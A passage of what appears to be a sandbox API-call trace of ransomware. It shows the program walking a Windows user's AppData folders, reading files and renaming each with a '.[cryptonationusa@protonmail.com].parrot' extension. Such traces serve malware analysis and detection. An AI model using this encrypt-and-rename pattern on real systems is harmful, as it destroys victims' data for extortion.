Flags=0x0, Size=0x4) returned 0x5d4960 [0090.346] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.346] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.346] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.347] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\1b4dd67f29cb1962.customDestinations-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\1b4dd67f29cb1962.customdestinations-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\1b4dd67f29cb1962.customDestinations-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\1b4dd67f29cb1962.customdestinations-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.350] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.350] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.351] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.351] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1f68, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x1f68, lpOverlapped=0x0) returned 1 [0090.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.352] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.353] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\590aee7bdd69b59b.customdestinations-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\590aee7bdd69b59b.customdestinations-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.357] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.357] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.358] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.358] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x43a3, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x43a3, lpOverlapped=0x0) returned 1 [0090.359] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.360] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.360] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.360] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.360] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5afe4de1b92fc382.customDestinations-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\5afe4de1b92fc382.customdestinations-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5afe4de1b92fc382.customDestinations-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\5afe4de1b92fc382.customdestinations-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.364] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.364] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.365] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.365] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x17d4, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x17d4, lpOverlapped=0x0) returned 1 [0090.366] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.366] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.366] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.366] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.366] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5d696d521de238c3.customDestinations-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\5d696d521de238c3.customdestinations-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5d696d521de238c3.customDestinations-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\5d696d521de238c3.customdestinations-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.371] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.371] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.372] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.372] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.372] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.372] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.372] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.372] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.372] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\7e4dca80246863e3.customdestinations-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\7e4dca80246863e3.customdestinations-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.376] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.376] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.378] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.378] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x23ff, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x23ff, lpOverlapped=0x0) returned 1 [0090.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.379] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.379] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\be71009ff8bb02a2.customDestinations-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\be71009ff8bb02a2.customdestinations-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\be71009ff8bb02a2.customDestinations-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\be71009ff8bb02a2.customdestinations-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.383] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.383] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.385] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.385] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1f68, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x1f68, lpOverlapped=0x0) returned 1 [0090.386] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.386] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.386] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.386] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.387] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\d93f411851d7c929.customdestinations-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\d93f411851d7c929.customdestinations-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.390] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0090.391] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.392] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.394] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.394] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 0 [0090.394] CloseHandle (hObject=0x26c) returned 1 [0090.395] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 0 [0090.395] CloseHandle (hObject=0x26c) returned 1 [0090.395] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 0 [0090.395] CloseHandle (hObject=0x26c) returned 1 [0090.395] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.396] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.396] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.396] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0090.396] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.397] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0090.397] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.399] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0090.399] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.400] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0090.400] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0090.400] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.401] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0090.401] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0090.401] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0090.401] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.401] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0090.401] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0090.401] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.402] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0090.402] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0090.402] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.402] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0090.450] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0090.452] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.452] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.452] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.452] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.453] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.453] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.453] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.453] ReadFile (in: hFile=0x1fc, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0090.454] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.454] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x9cfab, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x9cfab, lpOverlapped=0x0) returned 1 [0090.461] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.492] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.515] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.525] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.526] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0090.526] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0090.528] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.528] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.529] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.529] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.529] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0090.530] FindFirstFileExW 